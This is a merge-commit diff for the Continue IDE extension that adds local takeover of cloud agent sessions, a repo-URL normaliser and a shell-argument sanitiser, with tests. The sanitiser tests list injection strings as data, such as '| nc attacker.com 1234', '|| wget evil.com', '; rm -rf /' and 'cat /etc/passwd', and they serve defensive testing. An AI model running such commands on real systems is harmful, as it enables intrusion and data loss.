Merge pull request #8270 from continuedev/tomasz/con-4212

Build a local takeover MVP
This commit is contained in:
Tomasz Stefaniak 2025-10-17 15:53:25 -07:00 • committed by GitHub
commit f3209eaef6
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
11 changed files with 1231 additions and 54 deletions

View file

@ -54,6 +54,39 @@ export interface RemoteSessionMetadata extends BaseSessionMetadata {
remoteId: string;
}
export interface AgentSessionMetadata {
createdBy: string;
github_repo: string;
organizationId?: string;
idempotencyKey?: string;
source?: string;
continueApiKeyId?: string;
s3Url?: string;
prompt?: string | null;
createdBySlug?: string;
}
export interface AgentSessionView {
id: string;
devboxId: string | null;
name: string | null;
icon: string | null;
status: string;
agentStatus: string | null;
unread: boolean;
state: string;
metadata: AgentSessionMetadata;
repoUrl: string;
branch: string | null;
pullRequestUrl: string | null;
pullRequestStatus: string | null;
tunnelUrl: string | null;
createdAt: string;
updatedAt: string;
create_time_ms: string;
end_time_ms: string;
}
export class ControlPlaneClient {
constructor(
readonly sessionInfoPromise: Promise<ControlPlaneSessionInfo | undefined>,
@ -545,23 +578,19 @@ export class ControlPlaneClient {
});
const result = (await resp.json()) as {
agents: any[];
agents: AgentSessionView[];
totalCount: number;
};
return {
agents: result.agents.map((agent: any) => ({
agents: result.agents.map((agent) => ({
id: agent.id,
name: agent.name || agent.metadata?.name || null,
name: agent.name,
status: agent.status,
repoUrl: agent.metadata?.repo_url || agent.repo_url || "",
createdAt:
agent.created_at || agent.create_time_ms
? new Date(agent.created_at || agent.create_time_ms).toISOString()
: new Date().toISOString(),
repoUrl: agent.repoUrl,
createdAt: agent.createdAt,
metadata: {
github_repo:
agent.metadata?.github_repo || agent.metadata?.repo_url,
github_repo: agent.metadata.github_repo,
},
})),
totalCount: result.totalCount,
@ -573,4 +602,73 @@ export class ControlPlaneClient {
return { agents: [], totalCount: 0 };
}
}
/**
* Get the full agent session information
* @param agentSessionId - The ID of the agent session
* @returns The agent session view including metadata and status
*/
public async getAgentSession(
agentSessionId: string,
): Promise<AgentSessionView | null> {
if (!(await this.isSignedIn())) {
return null;
}
try {
const resp = await this.requestAndHandleError(
`agents/${agentSessionId}`,
{
method: "GET",
},
);
return (await resp.json()) as AgentSessionView;
} catch (e) {
Logger.error(e, {
context: "control_plane_get_agent_session",
agentSessionId,
});
return null;
}
}
/**
* Get the state of a specific background agent
* @param agentSessionId - The ID of the agent session
* @returns The agent's session state including history, workspace, and branch
*/
public async getAgentState(agentSessionId: string): Promise<{
session: Session;
isProcessing: boolean;
messageQueueLength: number;
pendingPermission: any;
} | null> {
if (!(await this.isSignedIn())) {
return null;
}
try {
const resp = await this.requestAndHandleError(
`agents/${agentSessionId}/state`,
{
method: "GET",
},
);
const result = (await resp.json()) as {
session: Session;
isProcessing: boolean;
messageQueueLength: number;
pendingPermission: any;
};
return result;
} catch (e) {
Logger.error(e, {
context: "control_plane_get_agent_state",
agentSessionId,
});
return null;
}
}
}

View file

@ -78,6 +78,12 @@ export type ToIdeFromWebviewProtocol = ToIdeFromWebviewOrCoreProtocol & {
totalCount: number;
},
];
openAgentLocally: [
{
agentSessionId: string;
},
void,
];
};
export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & {
@ -94,6 +100,7 @@ export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & {
focusContinueSessionId: [{ sessionId: string | undefined }, void];
newSession: [undefined, void];
loadAgentSession: [{ session: any }, void];
setTheme: [{ theme: any }, void];
setColors: [{ [key: string]: string }, void];
"jetbrains/editorInsetRefresh": [undefined, void];

70
core/util/repoUrl.ts Normal file
View file

@ -0,0 +1,70 @@
/**
* Utility functions for normalizing and handling repository URLs.
*/
/**
* Normalizes a repository URL to a consistent format.
*
* Handles various Git URL formats and converts them to a standard HTTPS GitHub URL:
* - SSH format: `git@github.com:owner/repo.git` → `https://github.com/owner/repo`
* - SSH protocol: `ssh://git@github.com/owner/repo.git` → `https://github.com/owner/repo`
* - Shorthand: `owner/repo` → `https://github.com/owner/repo`
* - Removes `.git` suffix
* - Removes trailing slashes
* - Normalizes to lowercase
*
* @param url - The repository URL to normalize
* @returns The normalized repository URL in lowercase HTTPS format
*
* @example
* ```typescript
* normalizeRepoUrl("git@github.com:owner/repo.git")
* // Returns: "https://github.com/owner/repo"
*
* normalizeRepoUrl("owner/repo")
* // Returns: "https://github.com/owner/repo"
*
* normalizeRepoUrl("https://github.com/Owner/Repo.git")
* // Returns: "https://github.com/owner/repo"
* ```
*/
export function normalizeRepoUrl(url: string): string {
if (!url) return "";
let normalized = url.trim();
// Convert SSH to HTTPS: git@github.com:owner/repo.git -> https://github.com/owner/repo
if (normalized.startsWith("git@github.com:")) {
normalized = normalized.replace("git@github.com:", "https://github.com/");
}
// Convert SSH protocol to HTTPS: ssh://git@github.com/owner/repo.git -> https://github.com/owner/repo
// Also handles: ssh://git@github.com:owner/repo.git (less common)
if (normalized.startsWith("ssh://git@github.com")) {
normalized = normalized
.replace("ssh://git@github.com/", "https://github.com/")
.replace("ssh://git@github.com:", "https://github.com/");
}
// Convert shorthand owner/repo to full URL
if (
normalized.includes("/") &&
!/^[a-z]+:\/\//i.test(normalized) &&
!normalized.startsWith("git@")
) {
normalized = `https://github.com/${normalized}`;
}
// Remove trailing slash before removing .git suffix
if (normalized.endsWith("/")) {
normalized = normalized.slice(0, -1);
}
// Remove .git suffix
if (normalized.endsWith(".git")) {
normalized = normalized.slice(0, -4);
}
// Normalize to lowercase
return normalized.toLowerCase();
}

217
core/util/repoUrl.vitest.ts Normal file
View file

@ -0,0 +1,217 @@
import { describe, expect, it } from "vitest";
import { normalizeRepoUrl } from "./repoUrl";
describe("normalizeRepoUrl", () => {
describe("SSH format conversion", () => {
it("should convert SSH format to HTTPS", () => {
expect(normalizeRepoUrl("git@github.com:owner/repo.git")).toBe(
"https://github.com/owner/repo",
);
});
it("should convert SSH format without .git suffix", () => {
expect(normalizeRepoUrl("git@github.com:owner/repo")).toBe(
"https://github.com/owner/repo",
);
});
it("should convert SSH format with uppercase to lowercase", () => {
expect(normalizeRepoUrl("git@github.com:Owner/Repo.git")).toBe(
"https://github.com/owner/repo",
);
});
});
describe("SSH protocol conversion", () => {
it("should convert ssh:// protocol with slash separator", () => {
expect(normalizeRepoUrl("ssh://git@github.com/owner/repo.git")).toBe(
"https://github.com/owner/repo",
);
});
it("should convert ssh:// protocol with colon separator (less common)", () => {
expect(normalizeRepoUrl("ssh://git@github.com:owner/repo.git")).toBe(
"https://github.com/owner/repo",
);
});
it("should convert ssh:// protocol without .git suffix", () => {
expect(normalizeRepoUrl("ssh://git@github.com/owner/repo")).toBe(
"https://github.com/owner/repo",
);
});
});
describe("shorthand format conversion", () => {
it("should convert owner/repo to full HTTPS URL", () => {
expect(normalizeRepoUrl("owner/repo")).toBe(
"https://github.com/owner/repo",
);
});
it("should convert shorthand with uppercase to lowercase", () => {
expect(normalizeRepoUrl("Owner/Repo")).toBe(
"https://github.com/owner/repo",
);
});
it("should handle shorthand with hyphens and underscores", () => {
expect(normalizeRepoUrl("owner-name/repo_name")).toBe(
"https://github.com/owner-name/repo_name",
);
});
});
describe(".git suffix removal", () => {
it("should remove .git suffix from HTTPS URLs", () => {
expect(normalizeRepoUrl("https://github.com/owner/repo.git")).toBe(
"https://github.com/owner/repo",
);
});
it("should handle multiple transformations with .git removal", () => {
expect(normalizeRepoUrl("git@github.com:owner/repo.git")).toBe(
"https://github.com/owner/repo",
);
});
});
describe("trailing slash removal", () => {
it("should remove trailing slash from URLs", () => {
expect(normalizeRepoUrl("https://github.com/owner/repo/")).toBe(
"https://github.com/owner/repo",
);
});
it("should handle both .git and trailing slash", () => {
expect(normalizeRepoUrl("https://github.com/owner/repo.git/")).toBe(
"https://github.com/owner/repo",
);
});
});
describe("case normalization", () => {
it("should convert mixed case HTTPS URLs to lowercase", () => {
expect(normalizeRepoUrl("https://github.com/Owner/Repo")).toBe(
"https://github.com/owner/repo",
);
});
it("should convert all uppercase to lowercase", () => {
expect(normalizeRepoUrl("HTTPS://GITHUB.COM/OWNER/REPO")).toBe(
"https://github.com/owner/repo",
);
});
it("should handle mixed case in shorthand format", () => {
expect(normalizeRepoUrl("ContinueDev/Continue")).toBe(
"https://github.com/continuedev/continue",
);
});
});
describe("already normalized URLs", () => {
it("should handle already normalized HTTPS URLs", () => {
expect(normalizeRepoUrl("https://github.com/owner/repo")).toBe(
"https://github.com/owner/repo",
);
});
it("should only lowercase already normalized URLs", () => {
expect(normalizeRepoUrl("https://github.com/Owner/Repo")).toBe(
"https://github.com/owner/repo",
);
});
});
describe("edge cases", () => {
it("should return empty string for empty input", () => {
expect(normalizeRepoUrl("")).toBe("");
});
it("should handle whitespace-only input", () => {
expect(normalizeRepoUrl(" ")).toBe("");
});
it("should trim whitespace from input", () => {
expect(normalizeRepoUrl(" owner/repo ")).toBe(
"https://github.com/owner/repo",
);
});
it("should not modify non-GitHub git URLs", () => {
// This function is GitHub-specific, other URLs just get lowercased
expect(normalizeRepoUrl("https://gitlab.com/owner/repo")).toBe(
"https://gitlab.com/owner/repo",
);
});
it("should not convert non-GitHub SSH URLs to GitHub", () => {
// Regression test: SSH URLs with protocols should not be treated as shorthands
expect(normalizeRepoUrl("ssh://git@gitlab.com/owner/repo.git")).toBe(
"ssh://git@gitlab.com/owner/repo",
);
});
it("should handle URLs with port numbers", () => {
expect(normalizeRepoUrl("https://github.com:443/owner/repo")).toBe(
"https://github.com:443/owner/repo",
);
});
it("should handle complex repository names", () => {
expect(normalizeRepoUrl("owner/repo-with-dashes-123")).toBe(
"https://github.com/owner/repo-with-dashes-123",
);
});
it("should normalize shorthand with query parameters containing ://", () => {
// Regression test: :// in query params should not prevent normalization
expect(normalizeRepoUrl("owner/repo?redirect=https://example.com")).toBe(
"https://github.com/owner/repo?redirect=https://example.com",
);
});
it("should normalize shorthand with fragment containing ://", () => {
expect(normalizeRepoUrl("owner/repo#section=https://example.com")).toBe(
"https://github.com/owner/repo#section=https://example.com",
);
});
});
describe("real-world examples", () => {
it("should normalize Continue's repository from SSH", () => {
expect(normalizeRepoUrl("git@github.com:continuedev/continue.git")).toBe(
"https://github.com/continuedev/continue",
);
});
it("should normalize Continue's repository from shorthand", () => {
expect(normalizeRepoUrl("continuedev/continue")).toBe(
"https://github.com/continuedev/continue",
);
});
it("should normalize Continue's repository from HTTPS", () => {
expect(
normalizeRepoUrl("https://github.com/continuedev/continue.git"),
).toBe("https://github.com/continuedev/continue");
});
it("should match repositories regardless of input format", () => {
const formats = [
"git@github.com:continuedev/continue.git",
"continuedev/continue",
"https://github.com/continuedev/continue",
"https://github.com/continuedev/continue.git",
"ssh://git@github.com/continuedev/continue.git",
"ContinueDev/Continue",
];
const expected = "https://github.com/continuedev/continue";
formats.forEach((format) => {
expect(normalizeRepoUrl(format)).toBe(expected);
});
});
});
});

72
core/util/sanitization.ts Normal file
View file

@ -0,0 +1,72 @@
import { quote } from "shell-quote";
/**
* Sanitization utilities for preventing injection attacks.
* These utilities address specific security vulnerabilities identified in code review.
*/
/**
* Sanitizes a string for safe use in shell commands by escaping special characters.
* Uses the battle-tested `shell-quote` library.
*
* @param arg - The argument to sanitize for shell execution
* @returns A safely escaped string suitable for shell commands
*
* @example
* ```typescript
* const command = `git stash push -m ${sanitizeShellArgument(message)}`;
* ```
*
* Protects against:
* - Command injection (`;`, `&&`, `||`, `|`)
* - Command substitution (`$()`, backticks)
* - Variable expansion (`$VAR`)
*/
export function sanitizeShellArgument(arg: string): string {
const result = quote([arg]);
return typeof result === "string" ? result : arg;
}
/**
* Validates that a repository name/URL doesn't contain malicious patterns.
* Rejects dangerous patterns but doesn't validate full URL structure.
*
* @param repoName - The repository name or URL to validate
* @returns true if safe, false if contains dangerous patterns
*
* @example
* ```typescript
* validateGitHubRepoUrl("owner/repo"); // true
* validateGitHubRepoUrl("owner/repo; rm -rf /"); // false
* ```
*
* Protects against:
* - Path traversal (`../`)
* - Command injection (`;`, `&&`, `||`)
* - Shell metacharacters (backticks, `$`, `|`)
*/
export function validateGitHubRepoUrl(repoName: string): boolean {
if (!repoName || typeof repoName !== "string") {
return false;
}
const trimmed = repoName.trim();
// Reject empty or whitespace-only strings
if (trimmed.length === 0) {
return false;
}
// Reject path traversal
if (trimmed.includes("..")) {
return false;
}
// Reject shell metacharacters that could enable injection
const dangerousChars = [";", "&", "|", "$", "`", "\n", "\r", "<", ">"];
if (dangerousChars.some((char) => trimmed.includes(char))) {
return false;
}
return true;
}

View file

@ -0,0 +1,362 @@
import { execSync } from "child_process";
import { describe, expect, it } from "vitest";
import { normalizeRepoUrl } from "./repoUrl";
import { sanitizeShellArgument, validateGitHubRepoUrl } from "./sanitization";
describe("sanitizeShellArgument", () => {
it("should escape shell metacharacters", () => {
const dangerous = [
"; rm -rf /",
"&& cat /etc/passwd",
"|| wget evil.com",
"| nc attacker.com 1234",
"`whoami`",
"$(whoami)",
"$HOME/evil",
];
dangerous.forEach((input) => {
const result = sanitizeShellArgument(input);
expect(result).toBeDefined();
expect(typeof result).toBe("string");
// shell-quote should properly escape these
expect(result).not.toBe(input);
});
});
it("should handle safe strings", () => {
const safe = ["agent-123", "my-agent", "simple-message"];
safe.forEach((input) => {
const result = sanitizeShellArgument(input);
expect(result).toBeDefined();
expect(typeof result).toBe("string");
});
});
it("should handle special characters", () => {
const result = sanitizeShellArgument("agent with spaces");
expect(result).toBeDefined();
expect(typeof result).toBe("string");
});
it("should handle empty string", () => {
const result = sanitizeShellArgument("");
expect(result).toBeDefined();
});
});
describe("validateGitHubRepoUrl", () => {
it("should accept valid repository names", () => {
expect(validateGitHubRepoUrl("continuedev/continue")).toBe(true);
expect(validateGitHubRepoUrl("owner/repo")).toBe(true);
expect(validateGitHubRepoUrl("owner-name/repo-name")).toBe(true);
expect(validateGitHubRepoUrl("https://github.com/owner/repo")).toBe(true);
expect(validateGitHubRepoUrl("git@github.com:owner/repo.git")).toBe(true);
});
it("should reject path traversal", () => {
expect(validateGitHubRepoUrl("../../../etc/passwd")).toBe(false);
expect(validateGitHubRepoUrl("owner/../evil")).toBe(false);
});
it("should reject command injection attempts", () => {
expect(validateGitHubRepoUrl("owner/repo; rm -rf /")).toBe(false);
expect(validateGitHubRepoUrl("owner/repo && cat /etc/passwd")).toBe(false);
expect(validateGitHubRepoUrl("owner/repo || wget evil.com")).toBe(false);
expect(validateGitHubRepoUrl("owner/repo | nc attacker")).toBe(false);
});
it("should reject shell metacharacters", () => {
expect(validateGitHubRepoUrl("owner/$(whoami)")).toBe(false);
expect(validateGitHubRepoUrl("owner/`whoami`")).toBe(false);
expect(validateGitHubRepoUrl("$EVIL/repo")).toBe(false);
});
it("should reject shell redirection", () => {
expect(validateGitHubRepoUrl("owner/repo > /dev/null")).toBe(false);
expect(validateGitHubRepoUrl("owner/repo < /etc/passwd")).toBe(false);
});
it("should reject newlines", () => {
expect(validateGitHubRepoUrl("owner/repo\nrm -rf /")).toBe(false);
expect(validateGitHubRepoUrl("owner/repo\rrm -rf /")).toBe(false);
});
it("should reject empty or invalid input", () => {
expect(validateGitHubRepoUrl("")).toBe(false);
expect(validateGitHubRepoUrl(" ")).toBe(false);
expect(validateGitHubRepoUrl(null as any)).toBe(false);
expect(validateGitHubRepoUrl(undefined as any)).toBe(false);
});
describe("validation after normalization", () => {
it("should validate normalized URLs to prevent bypass", () => {
// Test that validation works on normalized output
const inputs = [
"owner/repo",
"git@github.com:owner/repo.git",
"https://github.com/owner/repo.git",
"ssh://git@github.com/owner/repo.git",
];
inputs.forEach((input) => {
const normalized = normalizeRepoUrl(input);
expect(validateGitHubRepoUrl(normalized)).toBe(true);
});
});
it("should catch dangerous URLs even after normalization", () => {
// These should still be dangerous after normalization
const dangerous = [
"owner/repo; rm -rf /",
"owner/repo && malicious",
"owner/repo | cat /etc/passwd",
];
dangerous.forEach((input) => {
// Should be blocked before normalization
expect(validateGitHubRepoUrl(input)).toBe(false);
// Even if somehow normalized, should still be invalid
const normalized = normalizeRepoUrl(input);
expect(validateGitHubRepoUrl(normalized)).toBe(false);
});
});
it("should handle edge cases where normalization changes URL structure", () => {
// Test URLs that change during normalization
const testCases = [
{
input: "Owner/Repo.git/",
normalized: "https://github.com/owner/repo",
shouldBeValid: true,
},
{
input: "git@github.com:owner/repo.git",
normalized: "https://github.com/owner/repo",
shouldBeValid: true,
},
];
testCases.forEach(({ input, normalized, shouldBeValid }) => {
const actualNormalized = normalizeRepoUrl(input);
expect(actualNormalized).toBe(normalized);
expect(validateGitHubRepoUrl(actualNormalized)).toBe(shouldBeValid);
});
});
it("should prevent validation bypass via URL encoding or special chars", () => {
// These tests ensure that validation happens AFTER normalization
// preventing attackers from bypassing validation via encoding or transformation
// Currently validateGitHubRepoUrl blocks these, but this test ensures
// the pattern of "normalize then validate" is maintained
const potentialBypass = [
"../../../etc/passwd",
"owner/../malicious",
"owner/repo`whoami`",
"owner/repo$(whoami)",
];
potentialBypass.forEach((input) => {
expect(validateGitHubRepoUrl(input)).toBe(false);
});
});
});
});
/**
* Integration tests for sanitizeShellArgument
*
* These tests actually execute shell commands with sanitized dangerous inputs
* to verify end-to-end that the sanitization prevents injection attacks.
*
* IMPORTANT: These are CRITICAL security tests. The unit tests above verify
* that sanitization transforms inputs, but only these integration tests prove
* that the transformed output is safe when executed in a real shell.
*/
describe("sanitizeShellArgument - integration tests", () => {
// Helper function to safely execute a command with a timeout
const safeExec = (command: string): string => {
try {
return execSync(command, {
encoding: "utf-8",
timeout: 5000, // 5 second timeout to prevent hanging
shell: "/bin/sh", // Use standard POSIX shell
}).trim();
} catch (error: any) {
// If command fails (non-zero exit), return the error output
return error.stdout?.trim() || "";
}
};
it("should prevent command injection with semicolon separator", () => {
const malicious = "; echo INJECTED";
const sanitized = sanitizeShellArgument(malicious);
// Execute echo command with the sanitized input
const result = safeExec(`echo ${sanitized}`);
// The output should be the literal string, not execute "echo INJECTED"
expect(result).toBe(malicious);
expect(result).not.toBe("INJECTED");
});
it("should prevent command injection with && operator", () => {
const malicious = "safe && echo INJECTED";
const sanitized = sanitizeShellArgument(malicious);
const result = safeExec(`echo ${sanitized}`);
// Should output the literal string, not execute the injected command
// The string "INJECTED" will appear, but as part of "echo INJECTED" literal text
expect(result).toBe(malicious);
expect(result).toContain("echo INJECTED"); // Verify it's the literal command text
});
it("should prevent command injection with || operator", () => {
const malicious = "safe || echo INJECTED";
const sanitized = sanitizeShellArgument(malicious);
const result = safeExec(`echo ${sanitized}`);
// Should output the literal string, not execute the injected command
expect(result).toBe(malicious);
expect(result).toContain("echo INJECTED"); // Verify it's the literal command text
});
it("should prevent command injection with pipe operator", () => {
const malicious = "safe | echo INJECTED";
const sanitized = sanitizeShellArgument(malicious);
const result = safeExec(`echo ${sanitized}`);
expect(result).toBe(malicious);
});
it("should prevent command substitution with $()", () => {
const malicious = "$(echo INJECTED)";
const sanitized = sanitizeShellArgument(malicious);
const result = safeExec(`echo ${sanitized}`);
// Should output the literal string "$(echo INJECTED)", not "INJECTED"
expect(result).toBe(malicious);
expect(result).not.toBe("INJECTED");
});
it("should prevent command substitution with backticks", () => {
const malicious = "`echo INJECTED`";
const sanitized = sanitizeShellArgument(malicious);
const result = safeExec(`echo ${sanitized}`);
// Should output the literal backtick string, not execute it
expect(result).toBe(malicious);
expect(result).not.toBe("INJECTED");
});
it("should prevent variable expansion", () => {
// Set an environment variable for this test
process.env.TEST_VAR = "EXPANDED";
const malicious = "$TEST_VAR";
const sanitized = sanitizeShellArgument(malicious);
const result = safeExec(`echo ${sanitized}`);
// Should output literal "$TEST_VAR", not "EXPANDED"
expect(result).toBe(malicious);
expect(result).not.toBe("EXPANDED");
// Cleanup
delete process.env.TEST_VAR;
});
it("should handle git stash message use case safely", () => {
// This mirrors the actual usage in VsCodeMessenger.ts:269
const agentId = "agent-123; rm -rf /";
const stashMessage = `Continue: Stashed before opening agent ${agentId}`;
const sanitized = sanitizeShellArgument(stashMessage);
// Simulate the git stash command (using echo as a safe substitute)
// In real code: `git stash push -m ${sanitized}`
const result = safeExec(`echo ${sanitized}`);
// The message should contain the full literal string including dangerous chars
expect(result).toContain("agent-123; rm -rf /");
expect(result).toContain("Continue: Stashed before opening agent");
// Verify it's one line (not executed as multiple commands)
expect(result.split("\n").length).toBe(1);
});
it("should handle multi-line injection attempts", () => {
const malicious = "line1\necho INJECTED\nline3";
const sanitized = sanitizeShellArgument(malicious);
const result = safeExec(`echo ${sanitized}`);
// Should preserve the structure but not execute embedded commands
expect(result).toContain("line1");
expect(result).toContain("line3");
// The literal "echo INJECTED" text should appear, but not executed
expect(result).toContain("echo INJECTED");
});
it("should handle shell redirection attempts", () => {
const malicious = "message > /tmp/test.txt";
const sanitized = sanitizeShellArgument(malicious);
const result = safeExec(`echo ${sanitized}`);
// Should output the literal string, not create a file
expect(result).toBe(malicious);
// The command should not have created the file
// (we're not checking file system to keep test isolated)
});
it("should handle complex injection with multiple attack vectors", () => {
const malicious = "; $(whoami) && `date` || $HOME | cat > /dev/null";
const sanitized = sanitizeShellArgument(malicious);
const result = safeExec(`echo ${sanitized}`);
// Should output the entire literal string
expect(result).toBe(malicious);
// Verify none of the commands were executed by checking output is literal
expect(result).toContain("$(whoami)");
expect(result).toContain("`date`");
expect(result).toContain("$HOME");
});
it("should handle special characters safely", () => {
const special = 'test with spaces, quotes\', and "more"';
const sanitized = sanitizeShellArgument(special);
const result = safeExec(`echo ${sanitized}`);
expect(result).toBe(special);
});
it("should handle empty string without errors", () => {
const sanitized = sanitizeShellArgument("");
// Should not throw when used in a command
expect(() => safeExec(`echo ${sanitized}`)).not.toThrow();
});
it("should verify shell-quote properly escapes for git log format strings", () => {
// Another common use case: git log with custom format strings
const userInput = "Author: $(whoami) Date: `date`";
const sanitized = sanitizeShellArgument(userInput);
// Simulate: git log --format="%s: ${sanitized}"
// Using printf as a safer test substitute
const result = safeExec(`printf '%s' ${sanitized}`);
// Should output the literal string, not execute substitutions
expect(result).toBe(userInput);
expect(result).toContain("$(whoami)");
expect(result).toContain("`date`");
});
});

View file

@ -15,6 +15,11 @@ import {
WEBVIEW_TO_CORE_PASS_THROUGH,
} from "core/protocol/passThrough";
import { stripImages } from "core/util/messageContent";
import { normalizeRepoUrl } from "core/util/repoUrl";
import {
sanitizeShellArgument,
validateGitHubRepoUrl,
} from "core/util/sanitization";
import * as vscode from "vscode";
import { ApplyManager } from "../apply";
@ -295,12 +300,19 @@ export class VsCodeMessenger {
// Get repo name/URL
const repoName = await this.ide.getRepoName(workspaceDir);
if (repoName) {
// If repo name looks like "owner/repo", convert to GitHub URL
if (repoName.includes("/") && !repoName.startsWith("http")) {
repoUrl = `https://github.com/${repoName}`;
} else {
repoUrl = repoName;
// Normalize the URL first to get canonical form
const normalized = normalizeRepoUrl(repoName);
// Validate the normalized URL to prevent injection attacks
// This ensures we validate what we'll actually use, not just the input
if (!validateGitHubRepoUrl(normalized)) {
vscode.window.showErrorMessage(
"Invalid repository format. Please ensure you're using a valid GitHub repository.",
);
return;
}
repoUrl = normalized;
}
// Get current branch
@ -330,8 +342,6 @@ export class VsCodeMessenger {
name = `Agent for ${repoName || "repository"}`;
}
// debugger;
// Get the current agent configuration from the selected profile
let agent: string | undefined;
try {
@ -425,6 +435,222 @@ export class VsCodeMessenger {
}
});
this.onWebview("openAgentLocally", async (msg) => {
const configHandler = await configHandlerPromise;
const { agentSessionId } = msg.data;
try {
// First, fetch the agent session to get repo URL and branch
const agentSession =
await configHandler.controlPlaneClient.getAgentSession(
agentSessionId,
);
if (!agentSession) {
vscode.window.showErrorMessage(
"Failed to load agent session details.",
);
return;
}
const repoUrl = agentSession.repoUrl;
const branch = agentSession.branch;
if (!repoUrl || !branch) {
vscode.window.showErrorMessage(
"Agent session is missing repository or branch information.",
);
return;
}
// Validate the repo URL from API response to prevent injection attacks
if (!validateGitHubRepoUrl(repoUrl)) {
vscode.window.showErrorMessage(
"Invalid repository URL from agent session. Please contact support.",
);
return;
}
// Get workspace directories
const workspaceDirs = await this.ide.getWorkspaceDirs();
if (workspaceDirs.length === 0) {
vscode.window.showErrorMessage("No workspace folder is open.");
return;
}
// Normalize and validate again to ensure the normalized form is safe
const normalizedAgentRepo = normalizeRepoUrl(repoUrl);
if (!validateGitHubRepoUrl(normalizedAgentRepo)) {
vscode.window.showErrorMessage(
"Invalid repository URL after normalization. Please contact support.",
);
return;
}
// Find the workspace that matches the agent's repo URL
let matchingWorkspace: string | null = null;
for (const workspaceDir of workspaceDirs) {
const repoName = await this.ide.getRepoName(workspaceDir);
if (repoName) {
const normalizedRepoName = normalizeRepoUrl(repoName);
if (normalizedRepoName === normalizedAgentRepo) {
matchingWorkspace = workspaceDir;
break;
}
}
}
if (!matchingWorkspace) {
vscode.window.showErrorMessage(
`This agent is for repository ${repoUrl}. Please open that workspace to take over the workflow.`,
);
return;
}
// Get the git repository
const repo = await this.ide.getRepo(matchingWorkspace);
if (!repo) {
vscode.window.showErrorMessage("Could not access git repository.");
return;
}
// Ask user what to do with uncommitted changes
if (
repo.state.workingTreeChanges.length > 0 ||
repo.state.indexChanges.length > 0
) {
const changeCount =
repo.state.workingTreeChanges.length +
repo.state.indexChanges.length;
const choice = await vscode.window.showWarningMessage(
`You have ${changeCount} uncommitted change(s). What would you like to do?`,
"Stash & Continue",
"Continue Without Stashing",
"Cancel",
);
if (choice === "Cancel" || !choice) {
return;
}
if (choice === "Stash & Continue") {
try {
await vscode.window.withProgress(
{
location: vscode.ProgressLocation.Notification,
title: "Stashing local changes...",
cancellable: false,
},
async () => {
const workspacePath =
vscode.Uri.parse(matchingWorkspace).fsPath;
// Sanitize agentSessionId to prevent command injection
const stashMessage = `Continue: Stashed before opening agent ${agentSessionId}`;
await this.ide.subprocess(
`git stash push -m ${sanitizeShellArgument(stashMessage)}`,
workspacePath,
);
},
);
vscode.window.showInformationMessage(
"Local changes have been stashed.",
);
} catch (e) {
console.error("Failed to stash changes:", e);
const errorMsg = e instanceof Error ? e.message : String(e);
vscode.window.showErrorMessage(
`Failed to stash changes: ${errorMsg}`,
);
return; // Stop on stash failure
}
}
// If "Continue Without Stashing" was chosen, just proceed
}
// Check if we're already on the target branch
try {
const currentBranch = await this.ide.getBranch(matchingWorkspace);
console.log(
`Current branch: ${currentBranch}, Target branch: ${branch}`,
);
if (currentBranch !== branch) {
// Try to switch to the branch using VS Code Git API
await vscode.window.withProgress(
{
location: vscode.ProgressLocation.Notification,
title: `Switching to branch ${branch}...`,
cancellable: false,
},
async () => {
try {
// Use VS Code Git API for checkout
await repo.checkout(branch);
} catch (checkoutError: any) {
console.log(
"Checkout failed, trying to fetch first...",
checkoutError,
);
// If checkout fails, fetch and try again
await repo.fetch();
await repo.checkout(branch);
}
},
);
vscode.window.showInformationMessage(
`Switched to branch ${branch}`,
);
} else {
console.log("Already on target branch, skipping checkout");
}
} catch (e: any) {
console.error("Failed to switch branch:", e);
vscode.window.showErrorMessage(
`Failed to switch to branch ${branch}: ${e.message || String(e)}`,
);
return;
}
// Fetch the agent state
const agentState =
await configHandler.controlPlaneClient.getAgentState(agentSessionId);
if (!agentState) {
vscode.window.showErrorMessage(
"Failed to fetch agent state from API. The agent may not exist or you may not have permission.",
);
return;
}
if (!agentState.session) {
console.error(
"Agent state is missing session field. Full response:",
agentState,
);
vscode.window.showErrorMessage(
"Agent state returned but missing session data. This may be a backend issue.",
);
return;
}
// For MVP: Simply load the session by sending to webview
// The webview will dispatch the newSession action with the session data
this.webviewProtocol.send("loadAgentSession", {
session: agentState.session,
});
vscode.window.showInformationMessage(
`Successfully loaded agent workflow: ${agentState.session.title || "Untitled"}`,
);
} catch (e) {
console.error("Failed to open agent locally:", e);
vscode.window.showErrorMessage(
`Failed to open agent locally: ${e instanceof Error ? e.message : "Unknown error"}`,
);
}
});
/** PASS THROUGH FROM WEBVIEW TO CORE AND BACK **/
WEBVIEW_TO_CORE_PASS_THROUGH.forEach((messageType) => {
this.onWebview(messageType, async (msg) => {

View file

@ -1,9 +1,11 @@
import { ArrowPathIcon } from "@heroicons/react/24/outline";
import { ArrowPathIcon, PlayIcon } from "@heroicons/react/24/outline";
import { useContext, useEffect, useState } from "react";
import { normalizeRepoUrl } from "core/util/repoUrl";
import { useAuth } from "../../context/Auth";
import { IdeMessengerContext } from "../../context/IdeMessenger";
import { useAppSelector } from "../../redux/hooks";
import { selectCurrentOrg } from "../../redux/slices/profilesSlice";
import { Button } from "../ui";
interface Agent {
id: string;
@ -20,6 +22,12 @@ interface AgentsListProps {
isCreatingAgent?: boolean;
}
interface WorkspaceInfo {
repoUrl: string;
workspaceDir: string;
workspaceName: string;
}
export function AgentsList({ isCreatingAgent = false }: AgentsListProps) {
const { session } = useAuth();
const ideMessenger = useContext(IdeMessengerContext);
@ -27,6 +35,43 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) {
const [agents, setAgents] = useState<Agent[] | null>(null);
const [totalCount, setTotalCount] = useState<number>(0);
const [error, setError] = useState<string | null>(null);
const [workspaces, setWorkspaces] = useState<WorkspaceInfo[]>([]);
// Fetch workspace repo URLs once on mount
useEffect(() => {
async function fetchWorkspaceRepos() {
try {
const workspaceDirs = await ideMessenger.request(
"getWorkspaceDirs",
undefined,
);
if (workspaceDirs.status === "success" && workspaceDirs.content) {
const workspaceInfos: WorkspaceInfo[] = [];
for (const dir of workspaceDirs.content) {
const repoNameResult = await ideMessenger.request("getRepoName", {
dir,
});
if (repoNameResult.status === "success" && repoNameResult.content) {
const normalizedUrl = normalizeRepoUrl(repoNameResult.content);
if (normalizedUrl) {
// Extract workspace name from directory path (last segment)
const workspaceName = dir.split("/").pop() || dir;
workspaceInfos.push({
repoUrl: normalizedUrl,
